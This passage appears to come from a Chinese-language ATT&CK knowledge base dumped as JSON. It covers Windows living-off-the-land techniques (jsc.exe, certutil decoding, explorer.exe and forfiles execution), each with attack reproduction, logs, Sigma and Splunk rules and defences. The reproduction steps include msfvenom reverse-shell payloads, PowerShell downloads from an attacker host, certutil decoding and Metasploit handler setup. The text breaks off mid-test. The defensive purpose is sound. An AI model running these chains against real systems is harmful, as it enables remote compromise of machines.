创建`Library.js`：\n   ```javascript\n   import System;\n   class Malicious {\n     static function Execute() {\n       new ActiveXObject(\"WScript.Shell\").Run(\"calc.exe\");\n     }\n   }\n   ```\n\n2. **编译JavaScript**：\n   ```cmd\n   C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\jsc.exe /t:library Library.js\n   ```\n\n3. **加载DLL**：\n   使用`rundll32.exe`加载`Library.dll`：\n   ```cmd\n   rundll32.exe Library.dll,Malicious.Execute\n   ```\n\n4. **结果分析**：\n   - 成功：生成`Library.dll`，加载后触发`calc.exe`。\n   - 失败可能：DLL导出函数调用错误或.NETFramework版本不匹配。\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID4688：\n  - 记录`jsc.exe`的进程创建：\n    ```\n    进程信息:\n      新进程名称:C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\jsc.exe\n      命令行:jsc.exe malicious.js\n      创建者进程名称:C:\\Windows\\System32\\cmd.exe\n    ```\n  - 记录生成文件的执行：\n    ```\n    进程信息:\n      新进程名称:C:\\Users\\liyang\\Desktop\\malicious.exe\n      命令行:malicious.exe\n      创建者进程名称:C:\\Windows\\System32\\cmd.exe\n    ```\n\n### Sysmon日志\n- 事件ID1：\n  - 记录`jsc.exe`执行：\n    ```\n    事件ID:1\n    OriginalFileName:jsc.exe\n    CommandLine:jsc.exe malicious.js\n    CurrentDirectory:C:\\Users\\liyang\\Desktop\\\n    User:liyang-PC\\liyang\n    Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B\n    ParentImage:C:\\Windows\\System32\\cmd.exe\n    ```\n  - 记录生成文件执行：\n    ```\n    事件ID:1\n    OriginalFileName:malicious.exe\n    CommandLine:malicious.exe\n    CurrentDirectory:C:\\Users\\liyang\\Desktop\\\n    User:liyang-PC\\liyang\n    Hashes:SHA1=2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1C\n    ParentImage:C:\\Windows\\System32\\cmd.exe\n    ```\n- 事件ID11：记录生成文件（如`malicious.exe`或`Library.dll`）。\n- 事件ID3：记录网络连接（如PowerShell下载Payload）。\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`jsc.exe`的执行，尤其是在非开发环境中的调用。\n   - 检查命令行是否包含`.js`文件或`/t:library`参数。\n2. 命令行分析：\n   - 正则表达式匹配：\n     ```regex\n     jsc\\.exe.*(\\.js|\\/t:library)\n     ```\n3. 文件监控：\n   - 检测非开发目录下的`.exe`或`.dll`文件生成。\n4. 行为分析：\n   - 检测`jsc.exe`编译后立即执行生成文件的模式。\n   - 检测生成的`.dll`被`rundll32.exe`加载。\n\n### Sigma规则\n新增Sigma规则以增强检测：\n```yaml\ntitle:可疑Jsc.exe编译JavaScript代码\nid:7e8f9a0b-1c2d-3e4f-5a6b-7c8d9e0f1a2b\ndescription:检测jsc.exe编译JavaScript文件生成可执行文件或DLL，可能用于代理恶意代码\nstatus:experimental\nlogsource:\n  category:process_creation\n  product:windows\ndetection:\n  selection:\n    Image|endswith:'\\jsc.exe'\n    CommandLine|contains:\n      - '.js'\n      - '/t:library'\n  filter_legitimate:\n    CurrentDirectory|contains:\n      - 'C:\\Program Files\\'\n      - 'C:\\Program Files (x86)\\'\n  condition:selection and not filter_legitimate\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - 合法的开发活动\nlevel:high\ntags:\n  - attack.execution\n  - attack.t1127\n```\n\n规则说明：\n- 目标：检测`jsc.exe`编译JavaScript文件的行为。\n- 过滤：排除开发目录（如`ProgramFiles`）中的合法操作。\n- 日志来源：Windows事件ID4688（需启用命令行审核）或Sysmon事件ID1。\n- 误报处理：开发环境可能触发，需结合目录和子进程分析。\n- 级别：标记为“高”优先级，因`jsc.exe`滥用通常与恶意活动相关。\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\"\n(EventCode=1 Image=\"*\\jsc.exe\" CommandLine IN (\"*.js*\",\"*/t:library*\"))\nOR (EventCode=11 FileName IN (\"*.exe\",\"*.dll\") TargetFilename=\"*\\jsc.exe\")\nOR (EventCode=10 SourceImage=\"*\\rundll32.exe\" TargetImage=\"*.dll\")\n| fields Image,CommandLine,ParentImage,User,TargetFilename\n```\n\n规则说明：\n- 检测`jsc.exe`的编译行为、生成的文件和`rundll32.exe`加载DLL的行为。\n- 减少误报：结合文件路径和后续执行行为分析。\n\n### 检测挑战\n- 误报：合法开发活动可能触发，需建立开发环境基线。\n- 日志依赖：默认日志可能不记录完整命令行，需部署Sysmon或增强日志策略。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审核策略，确保事件ID4688记录完整参数。\n   - 部署Sysmon，配置针对`jsc.exe`的规则，监控文件创建和子进程。\n2. 权限控制：\n   - 限制非开发用户执行`jsc.exe`的权限。\n3. 文件审查：\n   - 定期扫描非开发目录下的`.exe`和`.dll`文件，检查文件哈希。\n4. 行为基线：\n   - 建立开发环境的`jsc.exe`使用基线，检测异常行为。\n5. 安全更新：\n   - 保持Windows和.NETFramework更新，修复潜在漏洞。\n\n## 参考推荐\n- MITREATT&CKT1127:  \n  <https://attack.mitre.org/techniques/T1127/>\n- Jsc.exe:LOLBAS:  \n  <https://lolbas-project.github.io/lolbas/Binaries/Jsc/>\n- 远控免杀专题-白名单总结:  \n  <http://www.smatrix.org/forum/forum.php?mod=viewthread&tid=316>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- MetasploitFramework:用于生成和测试反弹Shell。  \n  <https://www.metasploit.com/>\n- Sysmon:Microsoft提供的系统监控工具。  \n  <https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>\n"
  },
  {
    "path": "Windows/07逃避防御/T1140-win-去混淆解码文件或信息.md",
    "content": "# T1140-去混淆/解码文件或信息\n\n## 描述\n\n攻击者常使用混淆或加密技术隐藏恶意文件或信息，以规避检测。他们可能通过内置恶意软件功能或系统实用程序（如`certutil.exe`）解码或去混淆这些内容。常见方法包括：\n\n- 使用`certutil.exe`解码Base64或十六进制编码的恶意Payload（如隐藏在证书文件中的远程访问工具）。\n- 使用`copy /b`命令重组二进制片段，生成完整可执行文件。\n- 通过用户交互（如输入密码）解密受保护的压缩/加密文件。\n\n此技术允许攻击者在初始访问、持久化或横向移动阶段隐藏恶意行为，绕过防病毒软件或应用程序白名单。\n\n## 测试案例\n\n### 测试案例1：Certutil解码Base64编码的Payload\n`certutil.exe`是Windows内置的证书管理工具，可用于解码Base64或十六进制编码文件，常被攻击者滥用加载恶意Payload。\n\n**命令**：\n```cmd\necho ZWNobyBIZUFMTCBXb3JsZCE= > encoded.txt\ncertutil -decode encoded.txt decoded.txt\n```\n\n- **说明**：\n  - `echo`：创建Base64编码文件`encoded.txt`，内容为`echo HELLO World!`。\n  - `certutil -decode`：将Base64编码解码为`decoded.txt`。\n  - 实际攻击中，`encoded.txt`可包含恶意可执行文件的Base64编码。\n- **权限**：普通用户可执行。\n- **支持系统**：Windows7及以上。\n\n### 测试案例2：Certutil解码十六进制编码的Payload\n`certutil.exe`支持解码十六进制编码文件，生成可执行文件。\n\n**命令**：\n```cmd\necho 4D5A9000 > hex.txt\ncertutil -decodehex hex.txt binary.exe\n```\n\n- **说明**：\n  - `echo`：创建十六进制编码文件`hex.txt`，内容为PE文件头（`MZ`）。\n  - `certutil -decodehex`：将十六进制解码为`binary.exe`。\n  - 实际攻击中，可解码完整的恶意PE文件。\n- **权限**：普通用户可执行。\n\n### 测试案例3：Copy命令重组Payload\n使用`copy /b`命令将分片文件重组为可执行文件。\n\n**命令**：\n```cmd\ncopy /b part1.bin+part2.bin malicious.exe\n```\n\n- **说明**：\n  - `copy /b`：以二进制模式合并`part1.bin`和`part2.bin`，生成`malicious.exe`。\n  - 攻击者可将Payload分片存储，规避检测。\n- **权限**：普通用户可执行。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID4688：进程创建，记录`certutil.exe`或`copy.exe`的执行信息。\n- Sysmon日志：\n  - 事件ID1：进程创建，包含命令行、哈希值和父进程。\n  - 事件ID11：文件创建，记录解码或重组生成的文件。\n  - 事件ID15：文件流创建，检测AlternateDataStream（ADS）。\n- 文件监控：\n  - 检测非标准路径下的可执行文件或编码文件（如`.txt`、`.bin`）。\n- 网络监控：\n  - 检测`certutil.exe`发起的HTTP请求（若Payload从远程下载）。\n\n## 测试复现\n\n### 环境准备\n- 攻击机：KaliLinux2019\n- 靶机：Windows7或Windows10\n- 工具：\n  - MetasploitFramework（生成Payload和监听）\n  - Sysmon（可选，日志收集）\n  - PythonHTTP服务器（托管编码文件）\n\n### 攻击分析\n\n#### 测试1：Certutil解码Base64编码的Payload\n1. **生成恶意Payload**：\n   ```bash\n   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=9999 -f exe -o malicious.exe\n   ```\n\n2. **编码Payload**：\n   在攻击机上将`malicious.exe`编码为Base64：\n   ```bash\n   base64 malicious.exe > malicious.b64\n   ```\n\n3. **托管编码文件**：\n   启动HTTP服务器：\n   ```bash\n   cp malicious.b64 /var/www/html/\n   sudo python3 -m http.server 80\n   ```\n\n4. **靶机下载和解码**：\n   ```cmd\n   powershell -c (New-Object System.Net.WebClient).DownloadFile('http://192.168.126.146/malicious.b64','C:\\Temp\\malicious.b64')\n   certutil -decode C:\\Temp\\malicious.b64 C:\\Temp\\malicious.exe\n   C:\\Temp\\malicious.exe\n   ```\n\n5. **配置攻击机监听**：\n   ```bash\n   msf5>use exploit/multi/handler\n   msf5 exploit(multi/handler)>set payload windows/x64/meterpreter/reverse_tcp\n   msf5 exploit(multi/handler)>set LHOST 192.168.126.146\n   msf5 exploit(multi/handler)>set LPORT 9999\n   msf5 exploit(multi/handler)>exploit\n   ```\n\n6. **结果分析**：\n   - 成功：解码生成`malicious.exe`，执行后获得Meterpreter会话。\n   - 失败可能原因：\n     - 防火墙阻止HTTP下载或TCP9999连接。\n     - PowerShell执行策略限制（需设置为`Bypass`：`Set-ExecutionPolicy Bypass`）。\n     - 解码文件路径错误。\n\n#### 测试2：Certutil解码十六进制编码的Payload\n1. **生成Payload**：\n   复用`malicious.exe`。\n\n2. **编码Payload**：\n   将`malicious.exe`转换为十六进制：\n   ```bash\n   xxd -p malicious.exe > malicious.hex\n   ```\n\n3. **靶机解码**：\n   将`malicious.hex`复制到靶机（如`C:\\Temp\\malicious.hex`），然后：\n   ```cmd\n   certutil -decodehex C:\\Temp\\malicious.hex C:\\Temp\\malicious.exe\n   C:\\Temp\\malicious.exe\n   ```\n\n4. **结果分析**：\n   - 成功：生成并执行`malicious.exe`，获得Meterpreter会话。\n   - 失败可能原因：同上。\n\n#### 测试3：Copy命令重组Payload\n1. **分片Payload**：\n   在攻击机上将`malicious.exe`分片：\n   ```bash\n   split -b 100k malicious.exe part_\n   ```\n\n2. **靶机重组**：\n   将分片文件（`part_aa`、`part_ab`等）复制到靶机（如`C:\\Temp\\`），然后：\n   ```cmd\n   copy /b C:\\Temp\\part_* C:\\Temp\\malicious.exe\n   C:\\Temp\\malicious.exe\n   ```\n\n3. **结果分析**：\n   - 成功：重组并执行`malicious.exe`，获得Meterpreter会话。\n   - 失败可能原因：分片文件不完整或顺序错误。\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID4688：记录`certutil.exe`或`copy.exe`的进程创建。\n- 事件ID4663：记录生成文件的写操作（需启用文件审核）。\n\n### Sysmon日志\n- 事件ID1：记录`certutil.exe`或`copy.exe`的命令行和子进程。\n- 事件ID11：记录解码或重组生成的文件（如`malicious.exe`）。\n- 事件ID3：记录网络连接（如HTTP下载）。\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`certutil.exe`的执行，尤其是`decode`或`decodehex`参数。\n   - 检测`copy.exe`使用`/b`参数合并文件。\n2. 命令行分析：\n   - 正则表达式匹配：\n     ```regex\n     certutil\\.exe.*(-decode|-decodehex)\n     ```\n     ```regex\n     copy\\.exe.*\\/b.*\\+\n     ```\n3. 文件监控：\n   - 检测非系统路径下的可执行文件生成（如`C:\\Temp\\*.exe`）。\n   - 监控编码文件（如`.b64`、`.hex`、`.bin`）的创建和访问。\n4. 网络监控：\n   - 检测`certutil.exe`发起的HTTP请求。\n5. 行为分析：\n   - 检测解码后立即执行生成文件的模式。\n\n### Sigma规则\n新增Sigma规则以增强检测：\n```yaml\ntitle:Certutil解码可疑文件\nid:3c4d5e6f-7a8b-9c0d-1e2f-3a4b5c6d7e8f\ndescription:检测certutil.exe解码Base64或十六进制文件，可能用于加载恶意Payload\nstatus:experimental\nlogsource:\n  category:process_creation\n  product:windows\ndetection:\n  selection:\n    Image|endswith:'\\certutil.exe'\n    CommandLine|contains:\n      - '-decode'\n      - '-decodehex'\n  filter_legitimate:\n    CommandLine|contains:\n      - 'C:\\Windows\\System32\\Cert'\n      - 'C:\\Program Files\\'\n  condition:selection and not filter_legitimate\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - 合法的证书管理操作\nlevel:high\ntags:\n  - attack.defense_evasion\n  - attack.t1140\n```\n\n规则说明：\n- 目标：检测`certutil.exe`的解码行为。\n- 过滤：排除合法证书管理操作。\n- 日志来源：Windows事件ID4688（需启用命令行审核）或Sysmon事件ID1。\n- 误报处理：合法操作可能触发，需结合生成文件路径和执行行为分析。\n- 级别：标记为“高”优先级，因`certutil`解码常与恶意活动相关。\n\n### Splunk规则\n优化后的Splunk规则：\n```spl\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\"\n(EventCode=1 Image=\"*\\certutil.exe\" CommandLine IN (\"*-decode*\",\"*-decodehex*\"))\nOR (EventCode=1 Image=\"*\\cmd.exe\" CommandLine=\"*copy* /b*+*.exe\")\nOR (EventCode=11 FileName=\"*.exe\" TargetFilename=\"*\\Temp\\*\")\n| fields Image,CommandLine,ParentImage,User,TargetFilename\n```\n\n规则说明：\n- 检测`certutil.exe`解码行为、`copy /b`重组行为和生成的可执行文件。\n- 减少误报：结合文件路径和后续执行行为分析。\n\n### 检测挑战\n- 误报：合法证书管理或文件操作可能触发，需结合上下文分析。\n- 日志依赖：默认日志可能不记录完整命令行，需部署Sysmon或增强日志策略。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审核策略，确保事件ID4688记录完整参数。\n   - 部署Sysmon，配置针对`certutil.exe`和`copy.exe`的规则，监控文件创建和网络活动。\n2. 网络隔离：\n   - 限制非必要主机的HTTP出站连接。\n3. 文件审查：\n   - 定期扫描非系统路径下的可执行文件和编码文件，检查文件哈希。\n4. 权限控制：\n   - 限制普通用户执行`certutil.exe`的权限。\n5. 安全更新：\n   - 保持Windows系统更新，修复潜在漏洞。\n\n## 参考推荐\n- MITREATT&CKT1140:  \n  <https://attack.mitre.org/techniques/T1140/>\n- CMD中certutil操作命令:  \n  <https://www.cnblogs.com/zeng-qh/p/10608522.html>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- MetasploitFramework:用于生成和测试反弹Shell。  \n  <https://www.metasploit.com/>\n- Sysmon:Microsoft提供的系统监控工具。  \n  <https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>\n"
  },
  {
    "path": "Windows/07逃避防御/T1202-win-间接命令执行-基于Explorer.exe执行payload(白名单).md",
    "content": "# T1202-间接命令执行-基于Explorer.exe执行Payload(白名单)\n\n## 描述\n\n攻击者可利用Windows实用程序（如`explorer.exe`）间接执行命令，绕过防御机制。`explorer.exe`是Windows的文件管理器和系统组件二进制文件，位于`C:\\Windows\\`和`C:\\Windows\\SysWOW64\\`，由Microsoft签名。它通常管理文件资源管理器界面，但可通过命令行参数（如`/root`或直接路径）执行任意可执行文件。\n\n攻击者滥用`explorer.exe`创建新进程实例，破坏现有进程树，执行恶意Payload（如`calc.exe`或`notepad.exe`），绕过应用程序白名单（如AppLocker）或防病毒检测。此技术常用于防御规避，尤其在限制`cmd.exe`的场景中。\n\n## 测试案例\n\n### 测试案例1：Explorer.exe通过/root参数执行Payload\n`explorer.exe`通过`/root`参数指定文件路径，创建新实例执行可执行文件。\n\n**命令**：\n```cmd\nexplorer.exe /root,\"C:\\Windows\\System32\\calc.exe\"\n```\n\n- **说明**：\n  - `/root`：指定文件路径，创建新`explorer.exe`实例作为父进程。\n  - 用途：破坏进程树，规避基于父进程的检测。\n- **权限**：普通用户可执行。\n- **支持系统**：WindowsXP、Windows7、Windows8、Windows8.1、Windows10。\n\n### 测试案例2：Explorer.exe直接执行Payload\n`explorer.exe`直接调用可执行文件路径，创建新实例执行。\n\n**命令**：\n```cmd\nexplorer.exe C:\\Windows\\System32\\notepad.exe\n```\n\n- **说明**：\n  - 直接指定路径，创建新`explorer.exe`实例作为父进程。\n  - 用途：规避传统命令行检测。\n- **权限**：普通用户可执行。\n- **支持系统**：Windows10（已测试）。\n\n### 补充说明\n- 日志监控：\n  - 在高版本Windows（如Windows7及以上），可通过组策略启用进程命令行参数记录：\n    - 路径：`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`\n  - 部署Sysmon，记录进程创建和子进程。\n- 局限性：\n  - 默认Windows日志可能不记录完整命令行，需启用审核策略。\n  - 合法文件操作可能触发类似行为，需结合上下文分析。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID4688：进程创建，记录`explorer.exe`及其子进程的执行信息。\n- Sysmon日志：\n  - 事件ID1：进程创建，包含命令行、哈希值和父进程。\n  - 事件ID10：进程访问，记录子进程调用。\n- 行为监控：\n  - 检测`explorer.exe`作为父进程的异常子进程（如`calc.exe`或自定义Payload）。\n\n## 测试复现\n\n### 环境准备\n- 攻击机：KaliLinux2019\n- 靶机：Windows7或Windows10\n- 工具：\n  - MetasploitFramework（生成Payload和监听）\n  - Sysmon（可选，日志收集）\n\n### 攻击分析\n\n#### 测试1：Explorer.exe通过/root参数执行Payload\n1. **生成Payload**：\n   ```bash\n   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=9999 -f exe -o malicious.exe\n   ```\n   - 将`malicious.exe`复制到靶机（如`C:\\Users\\liyang\\Desktop\\asptest\\malicious.exe`）。\n\n2. **配置攻击机监听**：\n   ```bash\n   msf5>use exploit/multi/handler\n   msf5 exploit(multi/handler)>set payload windows/x64/meterpreter/reverse_tcp\n   msf5 exploit(multi/handler)>set LHOST 192.168.126.146\n   msf5 exploit(multi/handler)>set LPORT 9999\n   msf5 exploit(multi/handler)>exploit\n   ```\n\n3. **靶机执行Payload**：\n   ```cmd\n   explorer.exe /root,\"C:\\Users\\liyang\\Desktop\\asptest\\malicious.exe\"\n   ```\n\n4. **结果分析**：\n   - 成功：获得Meterpreter会话，`getuid`显示用户为`liyang-PC\\liyang`。\n   - 失败可能原因：\n     - 防火墙阻止TCP9999连接。\n     - Payload架构不匹配（需生成与系统匹配的32位/64位Payload）。\n\n#### 测试2：Explorer.exe直接执行Payload\n1. **使用现有Payload**：\n   - 复用`malicious.exe`。\n\n2. **靶机执行Payload**：\n   ```cmd\n   explorer.exe C:\\Users\\liyang\\Desktop\\asptest\\malicious.exe\n   ```\n\n3. **结果分析**：\n   - 成功：触发`malicious.exe`，获得Meterpreter会话。\n   - 失败可能原因：同上。\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID4688（测试案例1）：\n  ```\n  进程信息:\n    新进程ID:0xabc\n    新进程名称:C:\\Windows\\explorer.exe\n    命令行:explorer.exe /root,\"C:\\Users\\liyang\\Desktop\\asptest\\malicious.exe\"\n  ```\n  ```\n  进程信息:\n    新进程ID:0xdef\n    新进程名称:C:\\Users\\liyang\\Desktop\\asptest\\malicious.exe\n    命令行:C:\\Users\\liyang\\Desktop\\asptest\\malicious.exe\n  ```\n- 事件ID4688（测试案例2）：\n  ```\n  进程信息:\n    新进程ID:0xghi\n    新进程名称:C:\\Windows\\explorer.exe\n    命令行:explorer.exe C:\\Users\\liyang\\Desktop\\asptest\\malicious.exe\n  ```\n  ```\n  进程信息:\n    新进程ID:0xjkl\n    新进程名称:C:\\Users\\liyang\\Desktop\\asptest\\malicious.exe\n    命令行:C:\\Users\\liyang\\Desktop\\asptest\\malicious.exe\n  ```\n\n### Sysmon日志\n- 事件ID1（测试案例1）：\n  ```\n  事件ID:1\n  OriginalFileName:explorer.exe\n  CommandLine:explorer.exe /root,\"C:\\Users\\liyang\\Desktop\\asptest\\malicious.exe\"\n  CurrentDirectory:C:\\Users\\liyang\\Desktop\\asptest\\\n  User:liyang-PC\\liyang\n  Hashes:SHA1=9A8B7C6D5E4F3A2B1C0D9E8F7A6B5C4D3E2F1A0B\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n  ```\n  事件ID:1\n  OriginalFileName:malicious.exe\n  CommandLine:C:\\Users\\liyang\\Desktop\\asptest\\malicious.exe\n  CurrentDirectory:C:\\Users\\liyang\\Desktop\\asptest\\\n  User:liyang-PC\\liyang\n  Hashes:SHA1=2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1C\n  ParentImage:C:\\Windows\\explorer.exe\n  ```\n- 事件ID1（测试案例2）：\n  ```\n  事件ID:1\n  OriginalFileName:explorer.exe\n  CommandLine:explorer.exe C:\\Users\\liyang\\Desktop\\asptest\\malicious.exe\n  CurrentDirectory:C:\\Users\\liyang\\Desktop\\asptest\\\n  User:liyang-PC\\liyang\n  Hashes:SHA1=9A8B7C6D5E4F3A2B1C0D9E8F7A6B5C4D3E2F1A0B\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n  ```\n  事件ID:1\n  OriginalFileName:malicious.exe\n  CommandLine:C:\\Users\\liyang\\Desktop\\asptest\\malicious.exe\n  CurrentDirectory:C:\\Users\\liyang\\Desktop\\asptest\\\n  User:liyang-PC\\liyang\n  Hashes:SHA1=2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1C\n  ParentImage:C:\\Windows\\explorer.exe\n  ```\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`explorer.exe`的命令行执行，尤其是包含`/root`或直接路径。\n   - 检查子进程是否为异常可执行文件。\n2. 命令行分析：\n   - 正则表达式匹配：\n     ```regex\n     explorer\\.exe.*(\\/root,|\\s+[A-Za-z]:\\\\.*\\.exe)\n     ```\n3. 行为分析：\n   - 检测`explorer.exe`作为父进程的非预期子进程（如自定义Payload）。\n   - 分析进程树中断（如新`explorer.exe`实例）。\n\n### Sigma规则\n优化后的Sigma规则，结合官方规则并增强误报过滤：\n```yaml\ntitle:ExplorerRootFlagProcessTreeBreak\nid:949f1ffb-6e85-4f00-ae1e-c3c5b190d605\ndescription:检测explorer.exe使用/root参数破坏进程树，可能用于防御规避\nstatus:experimental\nauthor:FlorianRoth\ndate:2019/06/29\nreferences:\n    - https://twitter.com/CyberRaiju/status/1273597319322058752\n    - https://twitter.com/bohops/status/1276357235954909188?s=12\ntags:\n    - attack.defense_evasion\n    - attack.t1202\nlogsource:\n    category:process_creation\n    product:windows\ndetection:\n    selection:\n        Image|endswith:'\\explorer.exe'\n        CommandLine|contains|all:\n            - '/root,'\n            - '.exe'\n    filter_legitimate:\n        CommandLine|contains:\n            - 'C:\\Windows\\explorer.exe'\n            - 'C:\\Program Files\\'\n    condition:selection and not filter_legitimate\nfields:\n    - Image\n    - CommandLine\n    - ParentImage\n    - User\nfalsepositives:\n    - 合法的文件资源管理器操作\nlevel:high\n```\n\n规则说明：\n- 目标：检测`explorer.exe`使用`/root`参数执行可执行文件。\n- 过滤：排除合法`explorer.exe`或程序安装目录的操作。\n- 日志来源：Windows事件ID4688（需启用命令行审核）或Sysmon事件ID1。\n- 误报处理：合法文件管理操作可能触发，需结合子进程和命令行分析。\n- 级别：升级为“高”优先级，因进程树中断通常与恶意活动相关。\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\"\n(EventCode=1 Image=\"*\\explorer.exe\" CommandLine IN (\"*/root,*\",\"*.exe\"))\nOR (EventCode=10 SourceImage=\"*\\explorer.exe\" TargetImage=\"*.exe\")\n| fields Image,CommandLine,ParentImage,User,TargetImage\n```\n\n规则说明：\n- 检测`explorer.exe`的异常执行（事件ID1）和触发的子进程（事件ID10）。\n- 减少误报：结合命令行和子进程分析。\n\n### 检测挑战\n- 误报：合法文件管理操作可能触发，需结合上下文（如子进程类型）。\n- 日志依赖：默认日志可能不记录完整命令行，需部署Sysmon或增强日志策略。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审核策略，确保事件ID4688记录完整参数。\n   - 部署Sysmon，配置针对`explorer.exe`的规则，监控进程创建和子进程。\n2. 权限控制：\n   - 限制普通用户通过命令行调用`explorer.exe`的权限。\n3. 文件审查：\n   - 定期扫描非系统路径下的可执行文件，检查文件哈希。\n4. 行为基线：\n   - 建立`explorer.exe`的正常行为基线，检测异常子进程。\n5. 安全更新：\n   - 保持Windows系统更新，修复潜在漏洞。\n\n## 相关TIP\n- [[T1202-win-间接命令执行-基于Forfiles执行Payload(白名单)]]\n- [[T1202-win-间接命令执行-基于Pcalua执行Payload(白名单)]]\n\n## 参考推荐\n- MITREATT&CKT1202:  \n  <https://attack.mitre.org/techniques/T1202/>\n- Explorer.exe:LOLBAS:  \n  <https://lolbas-project.github.io/lolbas/Binaries/Explorer/>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- MetasploitFramework:用于生成和测试反弹Shell。  \n  <https://www.metasploit.com/>\n- Sysmon:Microsoft提供的系统监控工具。  \n  <https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>"
  },
  {
    "path": "Windows/07逃避防御/T1202-win-间接命令执行-基于Forfiles执行payload(白名单).md",
    "content": "# T1202-间接命令执行-基于Forfiles执行Payload(白名单)\n\n## 描述\n\n攻击者可利用Windows实用程序（如`forfiles.exe`）间接执行命令，绕过防御机制。`forfiles.exe`是Windows默认的文件操作搜索工具，位于`C:\\Windows\\System32\\`和`C:\\Windows\\SysWOW64\\`，由Microsoft签名，包含在系统`PATH`环境变量中。它用于基于日期、后缀名或修改时间等条件操作文件，常与批处理配合使用，但可通过`/c`参数执行任意命令。\n\n攻击者滥用`forfiles.exe`通过构造命令（如调用`cmd.exe`或`msiexec.exe`）执行恶意Payload，绕过应用程序白名单（如AppLocker）或防病毒检测。此技术常用于初始访问后的持久化、权限提升或横向移动。\n\n## 测试案例\n\n### 测试案例1：Forfiles执行远程MSI Payload\n`forfiles.exe`通过`/c`参数调用`cmd.exe`执行命令，加载远程MSI文件。以下为测试案例：\n\n**命令**：\n```cmd\nforfiles /p C:\\Windows\\System32 /m cmd.exe /c \"msiexec.exe /q /i http://192.168.126.146/abc.msi\"\n```\n\n- **说明**：\n  - `/p`：指定搜索路径（`C:\\Windows\\System32`）。\n  - `/m`：指定匹配文件（`cmd.exe`）。\n  - `/c`：执行指定命令（调用`msiexec.exe`加载MSI文件）。\n  - `msiexec.exe /q /i`：静默安装MSI文件。\n- **权限**：无需提升权限，普通用户可执行。\n- **注意**：需确保MSI文件与目标系统架构（32位/64位）匹配。\n\n### 补充说明\n- 日志监控：\n  - 在高版本Windows（如Windows7及以上），可通过组策略启用进程命令行参数记录：\n    - 路径：`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`\n  - 部署Sysmon，记录进程创建和网络活动。\n- 局限性：\n  - 默认Windows日志可能不记录完整命令行，需启用审核策略。\n  - 合法文件操作可能触发类似日志，需结合上下文分析。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID4688：进程创建，记录`forfiles.exe`及其子进程的执行信息。\n- Sysmon日志：\n  - 事件ID1：进程创建，包含命令行、哈希值和父进程。\n  - 事件ID3：网络连接，记录MSI文件的HTTP请求。\n  - 事件ID7：映像加载，记录加载的DLL。\n  - 事件ID10：进程访问，记录子进程调用。\n- 网络监控：\n  - 检测`msiexec.exe`或其子进程发起的HTTP请求或反弹Shell连接。\n- 文件监控：\n  - 检测非标准路径下的MSI文件。\n\n## 测试复现\n\n### 环境准备\n- 攻击机：KaliLinux2019\n- 靶机：Windows7\n- 工具：\n  - MetasploitFramework（生成Payload和监听）\n  - Sysmon（可选，日志收集）\n  - PythonHTTP服务器（托管MSI文件）\n\n### 攻击分析\n\n#### 测试1：Forfiles执行远程MSI Payload\n1. **解决反弹Shell失败问题**：\n\n- 问题：反弹Shell失败，可能因MSI文件格式不正确或MSF配置错误。\n- 解决：\n  - 确保生成64位Payload以匹配Windows7（x64）。\n  - 修正MSF配置中的LPORT（测试案例中LPORT设置为5555，但应为8888）。\n  - 使用EXE格式Payload并直接调用，简化测试流程。\n\n2. **生成Payload**：\n   ```bash\n   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=8888 -f exe -o shell.exe\n   ```\n\n3. **托管Payload**：\n   在攻击机上启动HTTP服务器：\n   ```bash\n   cp shell.exe /var/www/html/shell.exe\n   sudo python3 -m http.server 80\n   ```\n\n4. **配置攻击机监听**：\n   ```bash\n   msf5>use exploit/multi/handler\n   msf5 exploit(multi/handler)>set payload windows/x64/meterpreter/reverse_tcp\n   msf5 exploit(multi/handler)>set LHOST 192.168.126.146\n   msf5 exploit(multi/handler)>set LPORT 8888\n   msf5 exploit(multi/handler)>exploit\n   ```\n\n5. **靶机执行Payload**：\n\n- 修改测试命令，直接调用EXE：\n  ```cmd\n  forfiles /p C:\\Windows\\System32 /m cmd.exe /c \"C:\\Windows\\System32\\shell.exe\"\n  ```\n\n- 